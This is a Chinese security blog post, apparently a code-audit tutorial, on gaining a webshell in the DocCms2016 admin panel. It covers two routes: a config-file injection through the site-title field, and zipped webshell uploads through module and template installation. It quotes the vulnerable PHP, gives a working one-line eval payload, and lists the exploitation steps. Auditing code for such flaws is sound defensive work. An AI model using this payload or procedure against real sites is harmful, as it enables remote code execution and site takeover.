【代码审计】后台Getshell的两种常规姿势

简介: 0x00 前言   在早些年刚接触web安全的时候,基础套路都是找注入--找后台--找上传点--找数据库备份--Getshell,然而在代码审计的角度,也存在类似的基本操作。 这里结合代码实例介绍白盒Getshell的两种常规姿势:写入配置文件Getshell、模块安装Getshell。

0x00 前言

  在早些年刚接触web安全的时候,基础套路都是找注入--找后台--找上传点--找数据库备份--Getshell,然而在代码审计的角度,也存在类似的基本操作。

这里结合代码实例介绍白盒Getshell的两种常规姿势:写入配置文件Getshell、模块安装Getshell。

0x01 环境搭建

Doccms官网:http://www.doccms.com
程序源码:DocCms2016
下载地址:https://pan.baidu.com/s/1pLclifL

0x02 写入配置文件Getshell

代码分析:

1、在/admini/controllers/system/options.php,save函数通过一大串的表达式替换得到变量tempStr,然后调用了string2file函数写入配置文件,跟进这两个函数查看:

function save()
{
    global $request;
    if(filesize(ABSPATH.'/config/doc-config-'.$request['l'].'.php')>0){
        ……
        $tempStr = file2String(ABSPATH.'/config/doc-config-'.$request['l'].'.php');
        $tempStr = preg_replace("/\('WEBOPEN',.*?\)/i","('WEBOPEN',".$request['webopen'].")",$tempStr);
        $tempStr = preg_replace("/'WEBURL','.*?'/i","'WEBURL','".$request['weburl']."'",$tempStr);
        $tempStr = preg_replace("/'MOBILEURL','.*?'/i","'MOBILEURL','".$request['mobileurl']."'",$tempStr);
        $tempStr = preg_replace("/'WEBSIZE','.*?'/i","'WEBSIZE','".$request['websize']."'",$tempStr);
        $tempStr = preg_replace("/'SITENAME','.*?'/i","'SITENAME','".$request['sitename']."'",$tempStr);
                 ……

2、在/inc/function.php,第100-105行中,string2file函数,并未做任何处理,只是将字符串写入文件中:

function string2file($str,$filePath)
{
    $fp=fopen($filePath,'w+');
    fwrite($fp,$str);
    fclose($fp);
}

综上,在表达式替换字符串的过程中,只是作为简单的字符串替换,并未做任何匹配限制,我们可以将构造好的代码写入配置中,导致程序在实现上存在代码执行漏洞。

漏洞利用:

1、 登录后台,在站点设置--基本设置--站点标题处,填写

Payload:test\');eval($_POST[g]);//

2、 成功写入全局配置文件doc-config-cn.php中:

3、直接访问http://127.0.0.1/config/doc-config-cn.php,显示403Forbidden,全局搜索 doc-config-cn.php,查找包含该文件的文件。

 

4、访问http://127.0.0.1/editor/keditor/php/upload_json.php,因此文件包含doc-config-cn.php,包含的代码执行漏洞被触发。

 

 

0x03 模块上传Getshell

代码分析:

function upload_model()
{
    //把模版先暂时上传在系统根目录的TEMP文件夹里,解决safe_mode On时无法上传在环境文件夹下
    //suny.2008.01.16
    $upload = new Upload(10000,'/temp/');
    $fileName = $upload->SaveFile('upfile');
    if(is_file(ABSPATH.'/temp/'.$fileName))
    {
        del_dir(ABSPATH.UPLOADPATH.'temp/');
        mkdirs(ABSPATH.UPLOADPATH.'temp/');
        if(unzip(ABSPATH.UPLOADPATH.'temp/',ABSPATH.'/temp/'.$fileName,ABSPATH.'/temp/'.$fileName)==1)
        {
            $doc = get_config_xmldoc('config');
            exec_config($doc);
            $doc = get_config_xmldoc('install');
            exec_install($doc);
    
            redirect('?m=system&s=managemodel');
        }
    }
}

在模块上传的过程中,先删除temp目录中存在的所有文件,然后解压缩文件到temp目录下,我们可以上传一个压缩打包好的一句话木马,自动解压缩到temp目录下,获取webshell。

漏洞利用:

1、模块管理--安装模块--上传zip压缩文件--上传完成--自动解压upload\temp目录下 可getshell

2、成功将一句话木马,上传到temp目录下

另外,在其他功能中,也找到了类似的操作,如:

模板管理--上传模板--上传zip压缩文件--上传完成--自动解压\skins目录下,可getshell

0x04 END

   如果手头拿到一套代码,想要了解如何去Getshell,除了上传点,那么这两种常规姿势是非常有效的,当然思路不局限,只是分享一个审计套路而已。

有朋自远方来,不亦乐乎?有对这方面有研究的童鞋,欢迎前来相互探讨,交流。

目录
相关文章
|
4月前
|
安全 小程序 PHP
PHP代码审计(七)Rips源代码审计系统使用教程
上一篇中提到的Seay源代码审计系统是由C#编写的winform程序,现在已经停止更新了,但是,还是比较好用的。 PHP代码审计还有另一个工具,也是一个神器Rips
143 0
|
4月前
|
安全 小程序 PHP
PHP代码审计(六)Seay源代码审计系统使用教程
www.cnseay.com/ 当然,这个已经不能访问了。 软件的版本比较早,需要.NET framework3.5框架,我这里是软件启动的时候自动提醒安装,如果没有自动提醒,那么你需要手动安装.NET frameWork3.5框架,否则,程序应该是没有办法运行。
231 0
|
7月前
|
安全 前端开发 数据安全/隐私保护
BurpSuite进阶篇--自动化挖掘越权漏洞
BurpSuite进阶篇--自动化挖掘越权漏洞
327 0
|
7月前
|
前端开发 PHP
代码审计 | ThinkPHP5.1控制器操作
代码审计 | ThinkPHP5.1控制器操作
|
10月前
|
存储 安全 前端开发
代码审计——任意文件下载详解
代码审计——任意文件下载详解
170 0
|
10月前
|
安全 Java PHP
代码审计——命令执行详解
代码审计——命令执行详解
131 0
|
11月前
|
SQL 安全 数据库
代码审计之DTCMS V5.0后台
代码审计之DTCMS V5.0后台
|
11月前
|
SQL 监控 安全
发卡系统代码审计
发卡系统代码审计
|
11月前
|
开发框架 安全 JavaScript
记一次web登录通杀渗透测试到GETSHELL——续篇
记一次web登录通杀渗透测试到GETSHELL——续篇
139 0
|
存储 安全 前端开发
代码审计系统 Swallow 开发回顾
做甲方安全建设,SDL是一个离不开的话题,其中就包含代码审计工作,我从最开始使用编辑器自带的查找,到使用fortify工具,再到后来又觉得fortify的扫描太慢影响审计效率,再后来就想着把fortify集成到自己的业务系统中去
120 0